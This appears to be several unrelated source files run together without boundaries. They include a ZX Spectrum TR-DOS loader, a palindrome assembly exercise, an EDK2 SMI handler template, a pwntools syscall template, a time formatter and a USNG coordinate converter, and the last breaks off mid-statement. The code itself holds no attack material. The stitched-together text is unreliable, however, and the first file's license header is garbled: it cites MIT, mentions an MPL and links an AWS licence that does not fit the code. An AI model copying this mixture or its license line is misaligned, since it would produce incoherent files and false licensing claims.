; This Source Code Form is subject to the terms of the MIT ; hLicense. If a copy of the MPL was not distributed with ; this file, You can obtain one at https://github.com/aws/mit-0 ;п/п извлечения и загрузки файла из склеенного массива ;с помощью Data Glue 1.0 By alx/brainwave ;эта подпрограмма может служить как фрагментом, который вы ;сможете включить в свои проекты ,так и примером того, что ;можно делать со склеенными данными ;пред использованием необходимо настроить все параметры, ;лишние фрагменты условного ассемблирования можно убрать. ;-----------------------[begin of clipboard]----------------- load_addr EQU #6100 ;куда грузить массив tr_dos EQU #3D13 ;адрес п/п загрузки dep_addr EQU #0000 ;адрес распаковщика (=0, если не надо) indexaddr EQU #6080 ;адрес размещения index#nn last_trsc EQU #5CF4 ;см. системные переменные tr-dos ;ключи условного транслирования blok64_sw EQU 1 ;не 0, если кол-во блков меньше 64 ;(включая блок с номером "0") blpack_sw EQU 1 ;не 0, если все блоки были ;предварительно запакованы blok_i00 EQU .indexaddr;не ноль, если адрес расположения ;index#nn круглый (в hex) ladr_i00 EQU load_addr ;еслли адрес загрузки блока кругый ORG indexaddr INCBIN "index#nn" ORG #6000 XOR A ;при вызове в аккамулятор необходимо занести номер блка ;A=(#00...#NN) IF0 blok64_sw LD L,A LD H,0 ADD HL,HL ADD HL,HL ADD HL,HL ADD HL,HL LD DE,indexaddr ADD HL,DE ELSE ADD A,A ADD A,A IF0 blok_i00 LD L,A LD H,'indexaddr ELSE LD E,A LD D,0 LD HL,indexaddr ADD HL,DE ENDIF ENDIF LD A,(HL) INC HL LD E,(HL) INC HL LD D,(HL) INC HL LD B,(HL) OR A JR Z,sec_nad INC B sec_nad LD HL,(last_trsc) PUSH AF tsc_adl LD A,D OR E JR Z,tsc_ade INC L BIT 4,L JR Z,tsc_nad INC H LD L,0 tsc_nad DEC DE JR tsc_adl tsc_ade EX DE,HL LD HL,load_addr PUSH HL PUSH BC LD C,5 CALL tr_dos POP BC POP HL POP AF IF0 ladr_i00 LD H,'load_addr LD L,A ELSE PUSH DE LD E,A LD D,0 LD HL,load_addr ADD HL,DE POP DE ENDIF IF0 blpack_sw LD C,0 ENDIF LD DE,load_addr LDIR RET ;-----------------------[end of clipboard]--------------------
INCLUDE "clib_cfg.asm" SECTION code_clib SECTION code_math PUBLIC l_divu_16_16x8, l0_divu_16_16x8 ; compute: hl = hl / e, e = hl % e ; alters : af, bc, de, hl ; alternate entry (l_divu_16_16x8 - 1) ; exchanges divisor / dividend ; alternate entry (l0_divu_16_16x8) ; skips divide by zero check IF __CLIB_OPT_IMATH <= 50 EXTERN l_small_divu_16_16x8, l0_small_divu_16_16x8 defc l_divu_16_16x8 = l_small_divu_16_16x8 defc l0_divu_16_16x8 = l0_small_divu_16_16x8 ENDIF IF __CLIB_OPT_IMATH > 50 EXTERN l_fast_divu_16_16x8, l0_fast_divu_16_16x8 defc l_divu_16_16x8 = l_fast_divu_16_16x8 defc l0_divu_16_16x8 = l0_fast_divu_16_16x8 ENDIF
; Chapter 9 ; 9.5.2 Palindrome word ; Create a program to determine if a NULL terminated string ; representing a word is a palindrome. ; *********************************** ; Data declarations section .data ; ------ ; Define constants SUCCESS equ 0 SYS_exit equ 60 ; ----- ; Define data section .data myword db "hannah", 0h len dq 6h result db 1h ;; assume string is palindrome ; ********************************** section .text global _start _start: ; ----- ; Loop to put word characters on the stack mov rcx, qword [len] mov rbx, myword mov r12, 0 mov rax, 0 pushLoop: movzx rax, byte [rbx] push rax inc rbx loop pushLoop ; ----- ; All the characters are on the stack (in reverse order). ; Loop to get them back off. Compare each character to ; each character in original string mov rcx, qword [len] mov rbx, myword popLoop: pop rax movzx rdx, byte [rbx] sub rax, rdx jnz failed inc rbx loop popLoop ; sucess - word is palindrome jmp last failed: mov byte [result], 0h jmp last ; ------ ; Done, terminate program last: mov rax, SYS_exit ; call code for exit mov rdi, SUCCESS ; exit with sucess syscall
#include <RootSignatureStatic.hpp> #include <D3DThrowMacros.hpp> #include <d3dcompiler.h> void RootSignatureStatic::LoadBinary(const std::string& fileName) { HRESULT hr; D3D_THROW_FAILED( hr, D3DReadFileToBlob( std::wstring(std::begin(fileName), std::end(fileName)).c_str(), &m_pSignatureBinary ) ); }
;------------------------------------------------------------------------------ ; ; Copyright (c) 2016 - 2018, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; SmiEntry.nasm ; ; Abstract: ; ; Code template of the SMI handler for a particular processor ; ;------------------------------------------------------------------------------- %define MSR_IA32_MISC_ENABLE 0x1A0 %define MSR_EFER 0xc0000080 %define MSR_EFER_XD 0x800 ; ; Constants relating to TXT_PROCESSOR_SMM_DESCRIPTOR ; %define DSC_OFFSET 0xfb00 %define DSC_GDTPTR 0x48 %define DSC_GDTSIZ 0x50 %define DSC_CS 0x14 %define DSC_DS 0x16 %define DSC_SS 0x18 %define DSC_OTHERSEG 0x1a %define PROTECT_MODE_CS 0x8 %define PROTECT_MODE_DS 0x20 %define TSS_SEGMENT 0x40 extern ASM_PFX(SmiRendezvous) extern ASM_PFX(FeaturePcdGet (PcdCpuSmmStackGuard)) extern ASM_PFX(CpuSmmDebugEntry) extern ASM_PFX(CpuSmmDebugExit) global ASM_PFX(gcStmSmiHandlerTemplate) global ASM_PFX(gcStmSmiHandlerSize) global ASM_PFX(gcStmSmiHandlerOffset) global ASM_PFX(gStmSmiCr3) global ASM_PFX(gStmSmiStack) global ASM_PFX(gStmSmbase) global ASM_PFX(gStmXdSupported) extern ASM_PFX(gStmSmiHandlerIdtr) ASM_PFX(gStmSmiCr3) EQU StmSmiCr3Patch - 4 ASM_PFX(gStmSmiStack) EQU StmSmiStackPatch - 4 ASM_PFX(gStmSmbase) EQU StmSmbasePatch - 4 ASM_PFX(gStmXdSupported) EQU StmXdSupportedPatch - 1 SECTION .text BITS 16 ASM_PFX(gcStmSmiHandlerTemplate): _StmSmiEntryPoint: mov bx, _StmGdtDesc - _StmSmiEntryPoint + 0x8000 mov ax,[cs:DSC_OFFSET + DSC_GDTSIZ] dec ax mov [cs:bx], ax mov eax, [cs:DSC_OFFSET + DSC_GDTPTR] mov [cs:bx + 2], eax mov ebp, eax ; ebp = GDT base o32 lgdt [cs:bx] ; lgdt fword ptr cs:[bx] mov ax, PROTECT_MODE_CS mov [cs:bx-0x2],ax o32 mov edi, strict dword 0 StmSmbasePatch: lea eax, [edi + (@32bit - _StmSmiEntryPoint) + 0x8000] mov [cs:bx-0x6],eax mov ebx, cr0 and ebx, 0x9ffafff3 or ebx, 0x23 mov cr0, ebx jmp dword 0x0:0x0 _StmGdtDesc: DW 0 DD 0 BITS 32 @32bit: mov ax, PROTECT_MODE_DS o16 mov ds, ax o16 mov es, ax o16 mov fs, ax o16 mov gs, ax o16 mov ss, ax mov esp, strict dword 0 StmSmiStackPatch: mov eax, ASM_PFX(gStmSmiHandlerIdtr) lidt [eax] jmp ProtFlatMode ProtFlatMode: mov eax, strict dword 0 StmSmiCr3Patch: mov cr3, eax ; ; Need to test for CR4 specific bit support ; mov eax, 1 cpuid ; use CPUID to determine if specific CR4 bits are supported xor eax, eax ; Clear EAX test edx, BIT2 ; Check for DE capabilities jz .0 or eax, BIT3 .0: test edx, BIT6 ; Check for PAE capabilities jz .1 or eax, BIT5 .1: test edx, BIT7 ; Check for MCE capabilities jz .2 or eax, BIT6 .2: test edx, BIT24 ; Check for FXSR capabilities jz .3 or eax, BIT9 .3: test edx, BIT25 ; Check for SSE capabilities jz .4 or eax, BIT10 .4: ; as cr4.PGE is not set here, refresh cr3 mov cr4, eax ; in PreModifyMtrrs() to flush TLB. cmp byte [dword ASM_PFX(FeaturePcdGet (PcdCpuSmmStackGuard))], 0 jz .6 ; Load TSS mov byte [ebp + TSS_SEGMENT + 5], 0x89 ; clear busy flag mov eax, TSS_SEGMENT ltr ax .6: ; enable NXE if supported mov al, strict byte 1 StmXdSupportedPatch: cmp al, 0 jz @SkipXd ; ; Check XD disable bit ; mov ecx, MSR_IA32_MISC_ENABLE rdmsr push edx ; save MSR_IA32_MISC_ENABLE[63-32] test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34] jz .5 and dx, 0xFFFB ; clear XD Disable bit if it is set wrmsr .5: mov ecx, MSR_EFER rdmsr or ax, MSR_EFER_XD ; enable NXE wrmsr jmp @XdDone @SkipXd: sub esp, 4 @XdDone: mov ebx, cr0 or ebx, 0x80010023 ; enable paging + WP + NE + MP + PE mov cr0, ebx lea ebx, [edi + DSC_OFFSET] mov ax, [ebx + DSC_DS] mov ds, eax mov ax, [ebx + DSC_OTHERSEG] mov es, eax mov fs, eax mov gs, eax mov ax, [ebx + DSC_SS] mov ss, eax CommonHandler: mov ebx, [esp + 4] ; CPU Index push ebx mov eax, ASM_PFX(CpuSmmDebugEntry) call eax add esp, 4 push ebx mov eax, ASM_PFX(SmiRendezvous) call eax add esp, 4 push ebx mov eax, ASM_PFX(CpuSmmDebugExit) call eax add esp, 4 mov eax, ASM_PFX(gStmXdSupported) mov al, [eax] cmp al, 0 jz .7 pop edx ; get saved MSR_IA32_MISC_ENABLE[63-32] test edx, BIT2 jz .7 mov ecx, MSR_IA32_MISC_ENABLE rdmsr or dx, BIT2 ; set XD Disable bit if it was set before entering into SMM wrmsr .7: rsm _StmSmiHandler: ; ; Check XD disable bit ; xor esi, esi mov eax, ASM_PFX(gStmXdSupported) mov al, [eax] cmp al, 0 jz @StmXdDone mov ecx, MSR_IA32_MISC_ENABLE rdmsr mov esi, edx ; save MSR_IA32_MISC_ENABLE[63-32] test edx, BIT2 ; MSR_IA32_MISC_ENABLE[34] jz .5 and dx, 0xFFFB ; clear XD Disable bit if it is set wrmsr .5: mov ecx, MSR_EFER rdmsr or ax, MSR_EFER_XD ; enable NXE wrmsr @StmXdDone: push esi ; below step is needed, because STM does not run above code. ; we have to run below code to set IDT/CR0/CR4 mov eax, ASM_PFX(gStmSmiHandlerIdtr) lidt [eax] mov eax, cr0 or eax, 0x80010023 ; enable paging + WP + NE + MP + PE mov cr0, eax ; ; Need to test for CR4 specific bit support ; mov eax, 1 cpuid ; use CPUID to determine if specific CR4 bits are supported mov eax, cr4 ; init EAX test edx, BIT2 ; Check for DE capabilities jz .0 or eax, BIT3 .0: test edx, BIT6 ; Check for PAE capabilities jz .1 or eax, BIT5 .1: test edx, BIT7 ; Check for MCE capabilities jz .2 or eax, BIT6 .2: test edx, BIT24 ; Check for FXSR capabilities jz .3 or eax, BIT9 .3: test edx, BIT25 ; Check for SSE capabilities jz .4 or eax, BIT10 .4: ; as cr4.PGE is not set here, refresh cr3 mov cr4, eax ; in PreModifyMtrrs() to flush TLB. ; STM init finish jmp CommonHandler ASM_PFX(gcStmSmiHandlerSize) : DW $ - _StmSmiEntryPoint ASM_PFX(gcStmSmiHandlerOffset) : DW _StmSmiHandler - _StmSmiEntryPoint global ASM_PFX(SmmCpuFeaturesLibStmSmiEntryFixupAddress) ASM_PFX(SmmCpuFeaturesLibStmSmiEntryFixupAddress): ret
<% from pwnlib.shellcraft.powerpc.linux import syscall %> <%page args="fd, file, type, flag"/> <%docstring> Invokes the syscall faccessat. See 'man 2 faccessat' for more information. Arguments: fd(int): fd file(char): file type(int): type flag(int): flag </%docstring> ${syscall('SYS_faccessat', fd, file, type, flag)}
#include <string> #include "format.h" using std::string; // TODO: Complete this helper function // INPUT: Long int measuring seconds // OUTPUT: HH:MM:SS // REMOVE: [[maybe_unused]] once you define the function string Format::ElapsedTime(long int original_seconds){ long int seconds{original_seconds}, minutes, hours; string time; if(original_seconds > 59){ minutes = ((seconds - (seconds % 60)) / 60); seconds = seconds % 60; } else{ minutes = 0; } if(minutes > 59){ hours = ((minutes - (minutes % 60)) / 60); minutes = minutes % 60; } else{ hours = 0; } if(seconds < 10 && minutes < 10){ return string(std::to_string(hours) + ":0" + std::to_string(minutes) + ":0" + std::to_string(seconds)); } else if(seconds < 10){ return string(std::to_string(hours) + ":" + std::to_string(minutes) + ":0" + std::to_string(seconds)); } else if(minutes < 10){ return string(std::to_string(hours) + ":0" + std::to_string(minutes) + ":" + std::to_string(seconds)); } else{ return string(std::to_string(hours) + ":" + std::to_string(minutes) + ":" + std::to_string(seconds)); } }
// CLASSIFICATION: UNCLASSIFIED /***************************************************************************/ /* RSC IDENTIFIER: USNG * * ABSTRACT * * This component converts between geodetic coordinates (latitude and * longitude) and United States National Grid (USNG) coordinates. * * ERROR HANDLING * * This component checks parameters for valid values. If an invalid value * is found, the error code is combined with the current error code using * the bitwise or. This combining allows multiple error codes to be * returned. The possible error codes are: * * USNG_NO_ERROR : No errors occurred in function * USNG_LAT_ERROR : Latitude outside of valid range * (-90 to 90 degrees) * USNG_LON_ERROR : Longitude outside of valid range * (-180 to 360 degrees) * USNG_STR_ERROR : An USNG string error: string too long, * too short, or badly formed * USNG_PRECISION_ERROR : The precision must be between 0 and 5 * inclusive. * USNG_A_ERROR : Semi-major axis less than or equal to zero * USNG_INV_F_ERROR : Inverse flattening outside of valid range * (250 to 350) * USNG_EASTING_ERROR : Easting outside of valid range * (100,000 to 900,000 meters for UTM) * (0 to 4,000,000 meters for UPS) * USNG_NORTHING_ERROR : Northing outside of valid range * (0 to 10,000,000 meters for UTM) * (0 to 4,000,000 meters for UPS) * USNG_ZONE_ERROR : Zone outside of valid range (1 to 60) * USNG_HEMISPHERE_ERROR : Invalid hemisphere ('N' or 'S') * * REUSE NOTES * * USNG is intended for reuse by any application that does conversions * between geodetic coordinates and USNG coordinates. * * REFERENCES * * Further information on USNG can be found in the Reuse Manual. * * USNG originated from : Federal Geographic Data Committee * 590 National Center * 12201 Sunrise Valley Drive * Reston, VA 22092 * * LICENSES * * None apply to this component. * * RESTRICTIONS * * * ENVIRONMENT * * USNG was tested and certified in the following environments: * * 1. Solaris 2.5 with GCC version 2.8.1 * 2. Windows XP with MS Visual C++ version 6 * * MODIFICATIONS * * Date Description * ---- ----------- * 3-1-07 Original Code (cloned from MGRS) * 3/23/11 N. Lundgren BAEts28583 Updated for memory leaks in convert methods */ /***************************************************************************/ /* * INCLUDES */ #include <stdio.h> #include <ctype.h> #include <math.h> #include <string.h> #include "UPS.h" #include "UTM.h" #include "USNG.h" #include "EllipsoidParameters.h" #include "MGRSorUSNGCoordinates.h" #include "GeodeticCoordinates.h" #include "UPSCoordinates.h" #include "UTMCoordinates.h" #include "CoordinateConversionException.h" #include "ErrorMessages.h" #include "WarningMessages.h" /* * ctype.h - Standard C character handling library * math.h - Standard C math library * stdio.h - Standard C input/output library * string.h - Standard C string handling library * UPS.h - Universal Polar Stereographic (UPS) projection * UTM.h - Universal Transverse Mercator (UTM) projection * USNG.h - function prototype error checking * MGRSorUSNGCoordinates.h - defines mgrs coordinates * GeodeticCoordinates.h - defines geodetic coordinates * UPSCoordinates.h - defines ups coordinates * UTMCoordinates.h - defines utm coordinates * CoordinateConversionException.h - Exception handler * ErrorMessages.h - Contains exception messages * WarningMessages.h - Contains warning messages */ using namespace MSP::CCS; /************************************************************************/ /* DEFINES * */ #define EPSILON 1.75e-7 /* approx 1.0e-5 degrees (~1 meter) in radians */ const int LETTER_A = 0; /* ARRAY INDEX FOR LETTER A */ const int LETTER_B = 1; /* ARRAY INDEX FOR LETTER B */ const int LETTER_C = 2; /* ARRAY INDEX FOR LETTER C */ const int LETTER_D = 3; /* ARRAY INDEX FOR LETTER D */ const int LETTER_E = 4; /* ARRAY INDEX FOR LETTER E */ const int LETTER_F = 5; /* ARRAY INDEX FOR LETTER F */ const int LETTER_G = 6; /* ARRAY INDEX FOR LETTER G */ const int LETTER_H = 7; /* ARRAY INDEX FOR LETTER H */ const int LETTER_I = 8; /* ARRAY INDEX FOR LETTER I */ const int LETTER_J = 9; /* ARRAY INDEX FOR LETTER J */ const int LETTER_K = 10; /* ARRAY INDEX FOR LETTER K */ const int LETTER_L = 11; /* ARRAY INDEX FOR LETTER L */ const int LETTER_M = 12; /* ARRAY INDEX FOR LETTER M */ const int LETTER_N = 13; /* ARRAY INDEX FOR LETTER N */ const int LETTER_O = 14; /* ARRAY INDEX FOR LETTER O */ const int LETTER_P = 15; /* ARRAY INDEX FOR LETTER P */ const int LETTER_Q = 16; /* ARRAY INDEX FOR LETTER Q */ const int LETTER_R = 17; /* ARRAY INDEX FOR LETTER R */ const int LETTER_S = 18; /* ARRAY INDEX FOR LETTER S */ const int LETTER_T = 19; /* ARRAY INDEX FOR LETTER T */ const int LETTER_U = 20; /* ARRAY INDEX FOR LETTER U */ const int LETTER_V = 21; /* ARRAY INDEX FOR LETTER V */ const int LETTER_W = 22; /* ARRAY INDEX FOR LETTER W */ const int LETTER_X = 23; /* ARRAY INDEX FOR LETTER X */ const int LETTER_Y = 24; /* ARRAY INDEX FOR LETTER Y */ const int LETTER_Z = 25; /* ARRAY INDEX FOR LETTER Z */ const double ONEHT = 100000.e0; /* ONE HUNDRED THOUSAND */ const double TWOMIL = 2000000.e0; /* TWO MILLION */ const double PI = 3.14159265358979323e0; /* PI */ const double PI_OVER_2 = (PI / 2.0e0); const double PI_OVER_180 = (PI / 180.0e0); const double MIN_EASTING = 100000.0; const double MAX_EASTING = 900000.0; const double MIN_NORTHING = 0.0; const double MAX_NORTHING = 10000000.0; const int MAX_PRECISION = 5; /* Maximum precision of easting & northing */ const double MIN_USNG_NON_POLAR_LAT = -80.0 * ( PI / 180.0 ); /* -80 degrees in radians */ const double MAX_USNG_NON_POLAR_LAT = 84.0 * ( PI / 180.0 ); /* 84 degrees in radians */ const double MIN_EAST_NORTH = 0.0; const double MAX_EAST_NORTH = 3999999.0; const double _6 = (6.0 * (PI / 180.0)); const double _8 = (8.0 * (PI / 180.0)); const double _72 = (72.0 * (PI / 180.0)); const double _80 = (80.0 * (PI / 180.0)); const double _80_5 = (80.5 * (PI / 180.0)); const double _84_5 = (84.5 * (PI / 180.0)); #define _500000 500000.0 struct Latitude_Band { long letter; /* letter representing latitude band */ double min_northing; /* minimum northing for latitude band */ double north; /* upper latitude for latitude band */ double south; /* lower latitude for latitude band */ double northing_offset; /* latitude band northing offset */ }; const Latitude_Band Latitude_Band_Table[20] = {{LETTER_C, 1100000.0, -72.0, -80.5, 0.0}, {LETTER_D, 2000000.0, -64.0, -72.0, 2000000.0}, {LETTER_E, 2800000.0, -56.0, -64.0, 2000000.0}, {LETTER_F, 3700000.0, -48.0, -56.0, 2000000.0}, {LETTER_G, 4600000.0, -40.0, -48.0, 4000000.0}, {LETTER_H, 5500000.0, -32.0, -40.0, 4000000.0}, {LETTER_J, 6400000.0, -24.0, -32.0, 6000000.0}, {LETTER_K, 7300000.0, -16.0, -24.0, 6000000.0}, {LETTER_L, 8200000.0, -8.0, -16.0, 8000000.0}, {LETTER_M, 9100000.0, 0.0, -8.0, 8000000.0}, {LETTER_N, 0.0, 8.0, 0.0, 0.0}, {LETTER_P, 800000.0, 16.0, 8.0, 0.0}, {LETTER_Q, 1700000.0, 24.0, 16.0, 0.0}, {LETTER_R, 2600000.0, 32.0, 24.0, 2000000.0}, {LETTER_S, 3500000.0, 40.0, 32.0, 2000000.0}, {LETTER_T, 4400000.0, 48.0, 40.0, 4000000.0}, {LETTER_U, 5300000.0, 56.0, 48.0, 4000000.0}, {LETTER_V, 6200000.0, 64.0, 56.0, 6000000.0}, {LETTER_W, 7000000.0, 72.0, 64.0, 6000000.0}, {LETTER_X, 7900000.0, 84.5, 72.0, 6000000.0}}; struct UPS_Constant { long letter; /* letter representing latitude band */ long ltr2_low_value; /* 2nd letter range - low number */ long ltr2_high_value; /* 2nd letter range - high number */ long ltr3_high_value; /* 3rd letter range - high number (UPS) */ double false_easting; /* False easting based on 2nd letter */ double false_northing; /* False northing based on 3rd letter */ }; const UPS_Constant UPS_Constant_Table[4] = {{LETTER_A, LETTER_J, LETTER_Z, LETTER_Z, 800000.0, 800000.0}, {LETTER_B, LETTER_A, LETTER_R, LETTER_Z, 2000000.0, 800000.0}, {LETTER_Y, LETTER_J, LETTER_Z, LETTER_P, 800000.0, 1300000.0}, {LETTER_Z, LETTER_A, LETTER_J, LETTER_P, 2000000.0, 1300000.0}}; /************************************************************************/ /* LOCAL FUNCTIONS * */ void makeUSNGString( char* USNGString, long zone, int letters[USNG_LETTERS], double easting, double northing, long precision ) { /* * The function makeUSNGString constructs an USNG string * from its component parts. * * USNGString : USNG coordinate string (output) * zone : UTM Zone (input) * letters : USNG coordinate string letters (input) * easting : Easting value (input) * northing : Northing value (input) * precision : Precision level of USNG string (input) */ long i; long j; double divisor; long east; long north; char alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; i = 0; if (zone) i = sprintf (USNGString+i,"%2.2ld",zone); else strncpy(USNGString, " ", 2); // 2 spaces for (j=0;j<3;j++) USNGString[i++] = alphabet[letters[j]]; divisor = pow (10.0, (5.0 - precision)); easting = fmod (easting, 100000.0); if (easting >= 99999.5) easting = 99999.0; east = (long)(easting/divisor); i += sprintf (USNGString+i, "%*.*ld", precision, precision, east); northing = fmod (northing, 100000.0); if (northing >= 99999.5) northing = 99999.0; north = (long)(northing/divisor); i += sprintf (USNGString+i, "%*.*ld", precision, precision, north); } void breakUSNGString( char* USNGString, long* zone, long letters[USNG_LETTERS], double* easting, double* northing, long* precision ) { /* * The function breakUSNGString breaks down an USNG * coordinate string into its component parts. * * USNG : USNG coordinate string (input) * zone : UTM Zone (output) * letters : USNG coordinate string letters (output) * easting : Easting value (output) * northing : Northing value (output) * precision : Precision level of USNG string (output) */ long num_digits; long num_letters; long i = 0; long j = 0; while (USNGString[i] == ' ') i++; /* skip any leading blanks */ j = i; while (isdigit(USNGString[i])) i++; num_digits = i - j; if (num_digits <= 2) if (num_digits > 0) { char zone_string[3]; /* get zone */ strncpy (zone_string, USNGString+j, 2); zone_string[2] = 0; sscanf (zone_string, "%ld", zone); if ((*zone < 1) || (*zone > 60)) throw CoordinateConversionException( ErrorMessages::usngString ); } else *zone = 0; else throw CoordinateConversionException( ErrorMessages::usngString ); j = i; while (isalpha(USNGString[i])) i++; num_letters = i - j; if (num_letters == 3) { /* get letters */ letters[0] = (toupper(USNGString[j]) - (long)'A'); if ((letters[0] == LETTER_I) || (letters[0] == LETTER_O)) throw CoordinateConversionException( ErrorMessages::usngString ); letters[1] = (toupper(USNGString[j+1]) - (long)'A'); if ((letters[1] == LETTER_I) || (letters[1] == LETTER_O)) throw CoordinateConversionException( ErrorMessages::usngString ); letters[2] = (toupper(USNGString[j+2]) - (long)'A'); if ((letters[2] == LETTER_I) || (letters[2] == LETTER_O)) throw CoordinateConversionException( ErrorMessages::usngString ); } else throw CoordinateConversionException( ErrorMessages::usngString ); j = i; while (isdigit(USNGString[i])) i++; num_digits = i - j; if ((num_digits <= 10) && (num_digits%2 == 0)) { long n; char east_string[6]; char north_string[6]; long east; long north; double multiplier; /* get easting & northing */ n = num_digits/2; *precision = n; if (n > 0) { strncpy (east_string, USNGString+j, n); east_string[n] = 0; sscanf (east_string, "%ld", &east); strncpy (north_string, USNGString+j+n, n); north_string[n] = 0; sscanf (north_string, "%ld", &north); multiplier = pow (10.0, 5.0 - n); *easting = east * multiplier; *northing = north * multiplier; } else { *easting = 0.0; *northing = 0.0; } } else throw CoordinateConversionException( ErrorMessages::usngString ); } /************************************************************************/ /* FUNCTIONS * */ USNG::USNG( double ellipsoidSemiMajorAxis, double ellipsoidFlattening, char* ellipsoidCode ) : CoordinateSystem(), ups( 0 ), utm( 0 ) { /* * The constructor receives the ellipsoid parameters and sets * the corresponding state variables. * If any errors occur, an exception is thrown with a description of the error. * * ellipsoidSemiMajorAxis : Semi-major axis of ellipsoid in meters (input) * ellipsoidFlattening : Flattening of ellipsoid (input) * ellipsoid_Code : 2-letter code for ellipsoid (input) */ double inv_f = 1 / ellipsoidFlattening; if (ellipsoidSemiMajorAxis <= 0.0) { /* Semi-major axis must be greater than zero */ throw CoordinateConversionException( ErrorMessages::semiMajorAxis ); } if ((inv_f < 250) || (inv_f > 350)) { /* Inverse flattening must be between 250 and 350 */ throw CoordinateConversionException( ErrorMessages::ellipsoidFlattening ); } semiMajorAxis = ellipsoidSemiMajorAxis; flattening = ellipsoidFlattening; strncpy (USNGEllipsoidCode, ellipsoidCode, 2); USNGEllipsoidCode[2] = '\0'; ups = new UPS( semiMajorAxis, flattening ); utm = new UTM( semiMajorAxis, flattening, 0 ); } USNG::USNG( const USNG &u ) { ups = new UPS( *( u.ups ) ); utm = new UTM( *( u.utm ) ); semiMajorAxis = u.semiMajorAxis; flattening = u.flattening; strcpy( USNGEllipsoidCode, u.USNGEllipsoidCode ); } USNG::~USNG() { delete ups; ups = 0; delete utm; utm = 0; } USNG& USNG::operator=( const USNG &u ) { if( this != &u ) { ups->operator=( *u.ups ); utm->operator=( *u.utm ); semiMajorAxis = u.semiMajorAxis; flattening = u.flattening; strcpy( USNGEllipsoidCode, u.USNGEllipsoidCode ); } return *this; } EllipsoidParameters* USNG::getParameters() const { /* * The function getParameters returns the current ellipsoid * parameters. * * ellipsoidSemiMajorAxis : Semi-major axis of ellipsoid, in meters (output) * ellipsoidFlattening : Flattening of ellipsoid (output) * ellipsoidCode : 2-letter code for ellipsoid (output) */ return new EllipsoidParameters( semiMajorAxis, flattening, (char*)USNGEllipsoidCode ); } MSP::CCS::MGRSorUSNGCoordinates* USNG::convertFromGeodetic( MSP::CCS::GeodeticCoordinates* geodeticCoordinates, long precision ) { /* * The function convertFromGeodetic converts Geodetic (latitude and * longitude) coordinates to an USNG coordinate string, according to the * current ellipsoid parameters. * If any errors occur, an exception is thrown with a description of the error. * * latitude : Latitude in radians (input) * longitude : Longitude in radians (input) * precision : Precision level of USNG string (input) * USNGString : USNG coordinate string (output) * */ MGRSorUSNGCoordinates* mgrsorUSNGCoordinates = 0; UTMCoordinates* utmCoordinates = 0; UPSCoordinates* upsCoordinates = 0; double latitude = geodeticCoordinates->latitude(); double longitude = geodeticCoordinates->longitude(); if ((latitude < -PI_OVER_2) || (latitude > PI_OVER_2)) { /* latitude out of range */ throw CoordinateConversionException( ErrorMessages::latitude ); } if ((longitude < -PI) || (longitude > (2*PI))) { /* longitude out of range */ throw CoordinateConversionException( ErrorMessages::longitude ); } if ((precision < 0) || (precision > MAX_PRECISION)) throw CoordinateConversionException( ErrorMessages::precision ); // If the latitude is within the valid usng non polar range [-80, 84), // convert to usng using the utm path, // otherwise convert to usng using the ups path try { if((latitude >= MIN_USNG_NON_POLAR_LAT) && (latitude < MAX_USNG_NON_POLAR_LAT)) { utmCoordinates = utm->convertFromGeodetic( geodeticCoordinates ); mgrsorUSNGCoordinates = fromUTM( utmCoordinates, longitude, latitude, precision ); delete utmCoordinates; } else { upsCoordinates = ups->convertFromGeodetic( geodeticCoordinates ); mgrsorUSNGCoordinates = fromUPS( upsCoordinates, precision ); delete upsCoordinates; } } catch ( CoordinateConversionException e ) { delete utmCoordinates; delete upsCoordinates; throw e; } return mgrsorUSNGCoordinates; } MSP::CCS::GeodeticCoordinates* USNG::convertToGeodetic( MSP::CCS::MGRSorUSNGCoordinates* usngCoordinates ) { /* * The function convertToGeodetic converts an USNG coordinate string * to Geodetic (latitude and longitude) coordinates * according to the current ellipsoid parameters. * If any errors occur, an exception is thrown with a description of the error. * * USNG : USNG coordinate string (input) * latitude : Latitude in radians (output) * longitude : Longitude in radians (output) * */ long zone; long letters[USNG_LETTERS]; double usng_easting; double usng_northing; long precision; GeodeticCoordinates* geodeticCoordinates = 0; UTMCoordinates* utmCoordinates = 0; UPSCoordinates* upsCoordinates = 0; breakUSNGString( usngCoordinates->MGRSString(), &zone, letters, &usng_easting, &usng_northing, &precision ); try { if( zone ) { utmCoordinates = toUTM( zone, letters, usng_easting, usng_northing, precision ); geodeticCoordinates = utm->convertToGeodetic( utmCoordinates ); delete utmCoordinates; } else { upsCoordinates = toUPS( letters, usng_easting, usng_northing ); geodeticCoordinates = ups->convertToGeodetic( upsCoordinates ); delete upsCoordinates; } } catch ( CoordinateConversionException e ) { delete utmCoordinates; delete upsCoordinates; throw e; } return geodeticCoordinates; } MSP::CCS::MGRSorUSNGCoordinates* USNG::convertFromUTM ( UTMCoordinates* utmCoordinates, long precision ) { /* * The function convertFromUTM converts UTM (zone, easting, and * northing) coordinates to an USNG coordinate string, according to the * current ellipsoid parameters. * If any errors occur, an exception is thrown with a description of the error. * * zone : UTM zone (input) * hemisphere : North or South hemisphere (input) * easting : Easting (X) in meters (input) * northing : Northing (Y) in meters (input) * precision : Precision level of USNG string (input) * USNGString : USNG coordinate string (output) */ long zone = utmCoordinates->zone(); char hemisphere = utmCoordinates->hemisphere(); double easting = utmCoordinates->easting(); double northing = utmCoordinates->northing(); if ((zone < 1) || (zone > 60)) throw CoordinateConversionException( ErrorMessages::zone ); if ((hemisphere != 'S') && (hemisphere != 'N')) throw CoordinateConversionException( ErrorMessages::hemisphere ); if ((easting < MIN_EASTING) || (easting > MAX_EASTING)) throw CoordinateConversionException( ErrorMessages::easting ); if ((northing < MIN_NORTHING) || (northing > MAX_NORTHING)) throw CoordinateConversionException( ErrorMessages::northing ); if ((precision < 0) || (precision > MAX_PRECISION)) throw CoordinateConversionException( ErrorMessages::precision ); GeodeticCoordinates* geodeticCoordinates = utm->convertToGeodetic( utmCoordinates ); // If the latitude is within the valid mgrs non polar range [-80, 84), // convert to mgrs using the utm path, // otherwise convert to mgrs using the ups path MGRSorUSNGCoordinates* mgrsorUSNGCoordinates = 0; UPSCoordinates* upsCoordinates = 0; double latitude = 